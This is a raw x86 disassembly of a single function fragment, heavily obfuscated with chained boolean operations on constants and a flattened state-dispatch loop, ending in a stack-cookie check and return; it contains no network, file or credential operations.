xor ebp, 0x1c240992
not edx
or edx, ebx
mov ecx, ebp
and ecx, esi
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0xc0160430
and ecx, 0x2f493a8f
or ecx, eax
mov esi, dword [esp + 8]
not esi
and ebp, esi
mov eax, ebp
not eax
or ebx, eax
and eax, 0xc096c470
and ebp, 0x2c40388f
or ebp, eax
xor ebp, ecx
not ebx
or ebx, ebp
mov ebp, ebx
xor ebp, ebx
not ebp
and ebp, edx
xor ebp, ebx
mov ebx, dword [esp + 0xc]
mov eax, ebx
and eax, 0x9c4546ef
and edi, 0x63bab910
or edi, eax
mov edx, dword [esp + 4]
mov eax, edx
not eax
mov ecx, eax
or ebx, esi
and esi, 0x8c4004af
mov eax, dword [esp + 8]
and eax, 0x63bab910
or eax, esi
xor eax, edi
mov esi, ebx
not esi
or esi, eax
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x407dc0de
and ebp, 0xbf823f21
or ebp, eax
xor ebp, esi
xor ebp, 0xbf823f21
or ebx, esi
not ebx
or ebx, ebp
mov eax, edx
and eax, 0x751d36ba
mov esi, ecx
mov dword [esp], ecx
mov edi, ecx
and edi, 0x8ae2c945
or edi, eax
mov ecx, edi
xor ecx, 0x4100
xor edi, 0x201d1610
mov eax, edx
xor eax, 0xd7a0a8ae
and eax, esi
or edi, 0xd7a0a8ae
mov esi, edi
and esi, 0x99ca00e7
and ecx, 0x20155710
or ecx, esi
mov esi, eax
not esi
or edi, esi
and esi, 0x99ca00e7
and eax, 0x6635ff18
or eax, esi
mov ebp, ebx
xor ebp, 0xec523cae
xor eax, ecx
not edi
or edi, eax
mov edx, ebx
xor edx, 0x13adc351
xor ebx, 0x11f6d0ed
and ebx, ebp
mov eax, edx
and eax, 0xb88f593c
mov ecx, ebp
mov esi, ebp
and ebp, 0x4770a6c3
or ebp, eax
or ecx, 0x181104
and ecx, 0xb1b87106
not ebp
or ebp, edx
mov dword [esp + 0xc], ebp
and edx, 0x4c048c41
or edx, ecx
mov ecx, ebx
not ecx
or esi, ecx
and ecx, 0xb1b87106
and ebx, 0x4e478ef9
or ebx, ecx
xor ebx, edx
mov eax, edi
xor eax, 0xd7a0a8ae
mov dword [esp + 8], eax
not esi
or esi, ebx
not ebx
and ebx, 0x25b13bc
and esi, 0xfda4ec43
or esi, ebx
xor edi, 0x285f5751
and eax, 0xa92118a3
mov ebx, edi
and ebx, 0x56dee75c
or ebx, eax
xor ebx, 0xee51be60
mov ecx, edi
and ecx, 0x4770a6c3
or ecx, ebx
mov eax, dword [esp + 4]
and eax, 0x13022c1
mov edx, dword [esp]
and edx, 0x46408402
or edx, eax
mov dword [esp], edx
mov edx, esi
not edx
mov dword [esp + 4], edx
mov eax, edx
and eax, 0xb084db67
mov ebp, esi
and ebp, 0x4f7b2498
or ebp, eax
xor ebp, 0xf7f47da4
mov ebx, ebp
xor ebx, edx
and ebx, ebp
mov ebp, ecx
not ebp
mov edx, dword [esp]
xor edx, 0x46408402
or edx, 0xb88f593c
mov eax, ebp
xor eax, edx
and eax, ebp
and ecx, 0x1971d381
and ebp, 0xe68e2c7e
or ebp, ecx
mov ecx, dword [esp]
xor ecx, 0x2040
and edx, 0x1971d381
and ecx, 0x46002442
or ecx, edx
xor ecx, ebp
mov ebp, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf05194c2
and eax, 0xfae6b3d
or eax, edx
mov edx, ebp
not edx
or ecx, edx
and edx, 0xf05194c2
and ebp, 0xfae6b3d
or ebp, edx
xor ebp, eax
not ecx
or ecx, ebp
mov eax, ebx
not eax
xor ebx, eax
mov edx, dword [esp + 0xc]
and ebx, edx
xor ebx, eax
or eax, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xf56f4dd2
and ebx, 0xa90b22d
or ebx, ebp
xor ebx, eax
or edx, eax
xor ebx, 0xa90b22d
not edx
or edx, ebx
mov ebp, ecx
xor ebp, 0xb3d2995e
and ebp, ecx
mov ebx, ecx
mov eax, ecx
not eax
or ebx, 0x4c2d66a1
mov ecx, ebx
and ecx, 0xe9fe87e9
and eax, 0x12001816
or eax, ecx
mov ecx, ebp
not ecx
or ebx, ecx
and ecx, 0xe9fe87e9
and ebp, 0x16017816
or ebp, ecx
xor ebp, eax
not ebx
or ebx, ebp
mov ebp, edx
xor ebp, 0xb3d2995e
and ebp, edx
mov eax, edx
not edx
or eax, 0x4c2d66a1
mov ecx, eax
and ecx, 0xced6818f
and edx, 0x31001850
or edx, ecx
mov ecx, ebp
not ecx
or eax, ecx
and ecx, 0xced6818f
and ebp, 0x31297e70
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
mov edx, eax
xor edx, eax
not edx
and edx, ebx
xor edx, eax
mov eax, edi
and eax, 0xf4528683
mov ebx, dword [esp + 8]
and ebx, 0xbad797c
or ebx, eax
mov ecx, esi
or ecx, 0xba54018
mov ebp, dword [esp + 4]
mov eax, ebp
or eax, 0xf4108603
and ecx, 0xffb5c61b
or edi, ebp
and ebp, 0x420080
or ebp, ecx
and eax, 0xffb5c61b
and esi, 0x83964
or esi, eax
xor esi, ebp
mov eax, esi
xor eax, esi
not eax
and eax, ebx
xor eax, esi
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x942b8c75
and edi, 0x6bd4738a
or edi, eax
mov eax, edi
xor eax, 0x942b8c75
xor edi, 0x6bd4738a
mov esi, edx
not esi
and edi, esi
or esi, eax
and eax, edx
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x14d51844
and eax, 0xeb2ae7bb
or eax, edx
xor eax, esi
xor eax, 0xeb2ae7bb
or ecx, esi
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x48a0052
mov edi, ecx
and edi, 0x6210400d
or edi, eax
xor edi, 0x6210400d
mov edx, ecx
and edx, 0x9965bfa0
or edx, edi
mov eax, edx
xor eax, 0x8653ba0
xor edx, 0x4200001f
and eax, 0x2cff7be0
and edx, 0xd300841f
or edx, eax
mov eax, edx
xor eax, 0x12000008
xor edx, 0x2cdb5060
and edx, 0xeddbd477
and eax, 0x12242b88
or eax, edx
mov edx, eax
xor edx, 0xeddbd477
mov edi, eax
xor edi, 0x2202080
and edi, 0x3603080
xor eax, 0xfe33a4b7
and eax, edx
and edx, 0x10884040
or edx, edi
mov edi, edx
xor edi, 0x4000
xor edx, 0xef77bfbf
mov ebx, eax
not ebx
mov ebp, edx
and ebp, 0x73eb13c8
and edi, 0x6000
or edi, ebp
or edx, ebx
and ebx, 0x73eb13c8
and eax, 0x8c14ec37
or eax, ebx
xor eax, edi
not edx
or edx, eax
mov eax, edx
xor eax, 0xec178f3f
xor edx, 0x13e870c0
mov edi, eax
or edi, 0x8a091b0
mov ebx, edx
or ebx, 0x92414049
and edi, 0x9ae1d1f9
and edx, 0x24080a04
or edx, edi
and ebx, 0x9ae1d1f9
and eax, 0x41162402
or eax, ebx
xor eax, edx
mov edx, eax
xor edx, 0x1200400
xor eax, 0x20090000
and eax, 0x2009b100
and edx, 0x15204404
or edx, eax
mov eax, edx
xor eax, 0x15204404
mov dword [esp], eax
add eax, 0xcad60afb
mov edi, ecx
xor edi, 0x37cdf9b4
and edi, ecx
or ecx, 0xc832064b
mov ebx, ecx
and ebx, 0xffc390bd
and esi, 0xc6900
or esi, ebx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0xffc390bd
and edi, 0x3c6f42
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
mov edi, ecx
xor edi, 0xc832064b
mov esi, ecx
xor esi, 0x2e40cb0
and esi, edi
xor ecx, 0x6854990
and ecx, 0x6874dd0
and edi, 0xf978b22f
or edi, ecx
mov ebx, esi
not ebx
mov ecx, ebx
and ecx, 0x155df573
and esi, 0xeaa20a8c
or esi, ecx
mov ebp, edi
xor ebp, 0x22a20884
xor edi, 0xcc51472b
or ebx, edi
and edi, 0x155df573
and ebp, 0xeaa20a8c
or ebp, edi
mov ecx, eax
not ecx
xor ebp, esi
not ebx
or ebx, ebp
mov esi, ebx
xor esi, 0xf43eeec9
and esi, ebx
mov ebp, ebx
not ebp
or ebp, esi
not esi
and esi, 0xbc11136
and ebp, 0xf43eeec9
or ebp, esi
and eax, 0x42148938
mov ebx, ecx
and ebx, 0x1005000
or ebx, eax
mov eax, ebx
xor eax, 0x1004201
xor ebx, 0xfeffadfe
xor edx, 0x21096000
and edx, ecx
mov esi, ebx
and esi, 0xca991c0
and eax, 0x43144231
or eax, esi
mov esi, edx
not esi
or ebx, esi
and esi, 0xca999c8
and edx, 0x31006404
or edx, esi
mov esi, ebp
not esi
xor edx, eax
not ebx
or ebx, edx
mov eax, esi
and eax, 0x3194cec0
mov edx, ebp
and edx, 0x40400031
or edx, eax
xor edx, 0x40400031
mov edi, esi
and edi, 0x8e2b310e
or edi, edx
mov eax, ebx
xor eax, 0xbceb24c6
mov dword [esp + 4], eax
xor ebx, 0x4314db39
mov edx, dword [esp]
or edx, 0x42a28
and ecx, 0x100c004
and edx, 0x142c2b28
or edx, ecx
mov dword [esp], edx
mov dword [esp + 8], ebx
and ebx, 0x48a7ffa6
mov eax, dword [esp + 4]
and eax, 0xb7580059
or eax, ebx
mov ecx, edi
xor ecx, 0x6827bd35
mov edx, ecx
and ecx, edi
mov dword [esp + 0xc], ecx
mov ecx, edi
not edi
mov ebx, eax
xor ebx, 0xb7580059
xor eax, 0x20804293
and eax, ebx
mov dword [esp + 0x10], eax
and edx, edi
mov dword [esp + 0x14], edx
or ebx, edi
mov dword [esp + 0x1c], ebx
mov eax, edi
and eax, 0x683345eb
and ecx, 0x97ccba14
or ecx, eax
mov edi, ecx
xor edi, 0x97ccba14
xor ecx, 0x28230188
and ecx, 0xbfab839c
mov eax, edi
and eax, 0x40547c63
or eax, ecx
xor eax, 0xe09342c1
and edi, 0x5f38c15d
or edi, eax
and ebp, 0x49712d0e
mov eax, esi
and eax, 0xb68ed2f1
or eax, ebp
xor eax, 0xe9b613ac
and esi, 0xa0c73ea2
or esi, eax
mov dword [esp + 0x20], esi
mov edx, dword [esp + 8]
or edx, 0x5f38c15d
mov eax, edx
not eax
mov ecx, dword [esp]
xor ecx, 0x142c2b28
and edx, eax
or ecx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x172e0f3e
and edx, 0xa0c13080
or edx, eax
mov eax, ecx
not eax
or ebp, eax
and eax, 0x172e0f3e
and ecx, 0xa0c1f080
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
mov ecx, esi
not ecx
mov dword [esp], ecx
mov eax, esi
and eax, 0xd4cf0c12
and ecx, 0x2b30f3ed
or ecx, eax
mov dword [esp + 8], ecx
mov eax, edi
not eax
mov ecx, eax
or ecx, 0x2b30f3ed
mov edx, ecx
and edx, 0xf281b479
mov ebx, edi
and ebx, 0x44e0802
or ebx, edx
mov edx, edi
xor edx, 0x2b30f3ed
and edx, eax
mov esi, edx
not esi
or ecx, esi
and esi, 0xf281b479
and edx, 0xd7e4b86
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov esi, dword [esp + 8]
mov edx, esi
xor edx, esi
not edx
and edx, ecx
xor edx, esi
mov ecx, eax
and ecx, 0xf7e51b9b
and edi, 0x81ae464
or edi, ecx
mov esi, dword [esp]
or eax, esi
and esi, 0xf7e51b9b
mov ecx, dword [esp + 0x20]
and ecx, 0x81ae464
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x4764ab1a
and ecx, edx
and edx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x34bb5ff0
and ecx, 0xcb44a00f
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x34bb5ff0
and edx, 0xcb44a00f
or edx, esi
xor edx, ecx
not eax
or eax, edx
xor ebp, 0x4764ab1a
mov esi, eax
xor esi, eax
not esi
and esi, ebp
xor esi, eax
mov eax, dword [esp + 4]
and eax, 0x97d842ca
or eax, dword [esp + 0x10]
mov edx, eax
mov edi, dword [esp + 0x14]
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xd104d706
and edi, 0x2efb28f9
or edi, eax
mov ebx, edi
mov edi, dword [esp + 0xc]
mov eax, edi
not eax
or ecx, eax
and eax, 0xd104d706
and edi, 0x2efb28f9
or edi, eax
xor edi, ebx
not ecx
or ecx, edi
xor ecx, edx
mov ebx, dword [esp + 0x1c]
mov edx, ebx
not edx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x8f9ba6d7
and ecx, 0x70645928
or ecx, edi
or eax, ebx
and ebx, 0x8f9ba6d7
and edx, 0x70645928
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2d5cc78
and eax, 0xfd2a3387
or eax, ecx
mov ecx, eax
xor ecx, 0xc58c78
xor eax, 0xa4003303
and eax, 0xa6107303
and ecx, 0x59ef8cfc
or ecx, eax
mov eax, ecx
xor eax, 0x11400038
mov edx, esi
not edx
xor ecx, 0xa6107303
mov edi, edx
or edi, ecx
and edx, 0x4caffdc6
and esi, 0xb3500239
or esi, edx
and ecx, 0x4caffdc6
and eax, 0xb3500239
or eax, ecx
xor eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd35b2b1
and eax, 0xf2ca4d4e
or eax, edx
xor eax, edi
xor eax, 0xf2ca4d4e
or ecx, edi
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x94d080
mov edx, ecx
and edx, 0x1292821
or edx, eax
xor edx, 0x1292821
mov eax, esi
and eax, 0xfe42075e
or eax, edx
mov edx, eax
not edx
and eax, 0x8080026b
and edx, 0x4a560890
or edx, eax
mov eax, edx
xor eax, 0x42420880
xor edx, 0xb5a9f76f
and esi, 0xf12b44fa
and ecx, 0xed4bb05
or ecx, esi
mov esi, ecx
xor esi, 0xed4bb05
xor ecx, 0x12804da
and ecx, 0xb3c36da
mov edi, esi
and edi, 0xf4c3c925
or edi, ecx
xor edi, 0xc1ea3c21
and esi, 0xcad60afb
or esi, edi
mov ecx, edx
or ecx, esi
and edx, 0x8957435
and eax, 0xc2420aca
or eax, edx
xor eax, esi
mov edx, eax
xor edx, 0xf76a8bca
xor eax, 0x8957435
mov esi, eax
and esi, 0x465a4f63
and edx, 0xb9a5b09c
or edx, esi
or eax, ecx
and ecx, 0xcede4ffb
xor ecx, edx
xor ecx, 0x88840098
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xadbf324a
mov edx, eax
and edx, 0x5240cdb5
or edx, esi
xor edx, 0x5240cdb5
or edx, eax
mov esi, eax
and esi, 0xcd80c082
mov edi, ecx
and edi, 0x327f3f7d
or edi, esi
mov ebx, edi
xor ebx, 0xcd80c082
xor edi, 0x22043a61
mov esi, edx
or esi, ebx
not esi
and ebx, 0x987bc59c
and edi, 0x67843a63
or edi, ebx
xor edi, edx
xor edi, 0x67843a63
or edi, esi
mov edx, edi
mov esi, edi
xor esi, 0x44a00e26
and esi, edi
not edi
or edx, 0xbb5ff1d9
mov ebx, edx
and ebx, 0xf6461c2
and edi, 0x40800e24
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0xf6461c2
and esi, 0xf09b9e3d
or esi, ebx
xor esi, edi
mov ebx, eax
xor ebx, 0x93c3706a
and ebx, eax
not edx
or edx, esi
and ecx, 0x43502a
and eax, 0x93802040
or eax, ecx
mov ecx, eax
xor ecx, 0x6c7fdfbf
mov esi, ecx
and esi, 0x93b620d4
and eax, 0x41502a
or eax, esi
mov esi, ebx
not esi
or ecx, esi
and esi, 0x93b620d4
and ebx, 0x6c49df2b
or ebx, esi
mov edi, edx
xor edi, 0xbb5ff1d9
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
xor eax, 0x64040495
xor ecx, 0x93c3706a
mov esi, edi
xor esi, ecx
and esi, edi
xor edx, 0xa00a20
and edx, 0x9ba9b28
and edi, 0xf64564d7
or edi, edx
and ecx, 0x9ba9b28
and eax, 0xf64564d7
or eax, ecx
xor eax, edi
mov ecx, esi
not ecx
mov edx, eax
not edx
mov edi, ecx
and edi, 0xa7ab6a91
and esi, 0x5854956e
or esi, edi
or ecx, edx
and edx, 0xa7ab6a91
and eax, 0x5854956e
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb5bad47a
and ecx, 0x4a452b85
or ecx, eax
xor ecx, 0x4a452b85
sete al
setne dl
cmp dword [0x10047904], 0xa
setl ah
setge ch
mov cl, dl
and cl, ch
and al, ah
or al, cl
mov dh, al
xor dh, 1
mov cl, ah
and cl, dh
mov ebx, eax
and bl, ch
or bl, cl
or al, ah
xor bl, 1
mov cl, bl
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov cl, bl
xor cl, 1
and cl, bl
xor cl, 1
mov al, bl
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov byte [esp], cl
mov bh, cl
xor bh, 1
or ah, dl
xor dl, ch
and dl, ch
xor dl, 1
mov al, dl
xor al, dh
or dl, dh
xor dl, 1
or dl, al
mov dh, dl
xor dh, 1
mov ch, ah
mov bl, dl
and bl, dh
xor bl, 1
or bl, dh
xor bl, 1
or bl, dl
xor dl, ah
and dl, dh
or dh, ah
xor ah, 1
and ch, ah
xor ch, 1
mov al, ah
xor al, ch
or ch, ah
xor ch, 1
or ch, al
xor bl, ch
xor dl, 1
mov eax, edx
xor al, dh
or dl, dh
xor dl, 1
or dl, al
xor bl, 1
and ch, bl
xor ch, 1
mov al, ch
xor al, bl
or ch, bl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov cl, dl
xor cl, 1
and al, cl
and dl, ch
or dl, al
or cl, ch
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov dh, dl
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, dl
mov ah, dh
xor ah, 1
mov dl, byte [esp]
mov al, bh
mov byte [esp + 4], bh
and dl, bh
xor dl, 1
mov ecx, edx
xor cl, bh
mov bh, dl
or bh, al
xor bh, 1
or bh, cl
mov cl, bh
mov ch, dh
mov byte [esp + 8], ah
and ch, ah
xor ch, 1
mov bl, ch
or bl, ah
xor bl, 1
xor ch, ah
or ch, bl
mov ah, ch
xor ah, 1
or bh, ah
and ah, ch
xor ah, 1
mov al, ch
xor al, ah
or ah, ch
xor cl, 1
xor bh, 1
xor ah, 1
or ah, al
xor ah, cl
xor ah, 1
or ah, cl
mov al, bh
xor al, ah
xor ah, 1
mov cl, ah
xor cl, bh
or ah, bh
xor cl, 1
xor al, 1
xor ah, 1
or ah, al
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
or bl, dh
mov al, byte [esp]
xor bl, al
or dl, al
xor dl, 1
mov ch, byte [esp + 4]
or dl, ch
mov al, dl
and dl, dh
xor al, 1
mov cl, byte [esp + 8]
and al, cl
or dl, al
or cl, ch
xor dl, 1
mov al, dl
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov al, bl
xor al, dl
and al, bl
and dl, bl
xor bl, 1
and bl, cl
or dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov al, dl
and al, cl
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ch, al
xor ch, 1
mov dl, ah
xor dl, 1
mov dh, ch
and dh, dl
mov cl, ah
and cl, al
or cl, dh
xor cl, 1
or cl, dl
xor dl, ch
and dl, al
xor al, ah
and al, ah
mov ah, dl
xor ah, 1
xor dl, al
xor al, 1
or al, ah
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x13fa398c
mov esi, 0x19c3b03f
cmovne ecx, esi
test al, 1
mov edi, ecx
mov eax, 0x13fa398c
cmovne edi, eax
test dl, 1
cmovne edi, ecx
jmp 0x10008b80
cmp edi, 0x25f577b2
jne 0x10008b80
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.10033b80
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret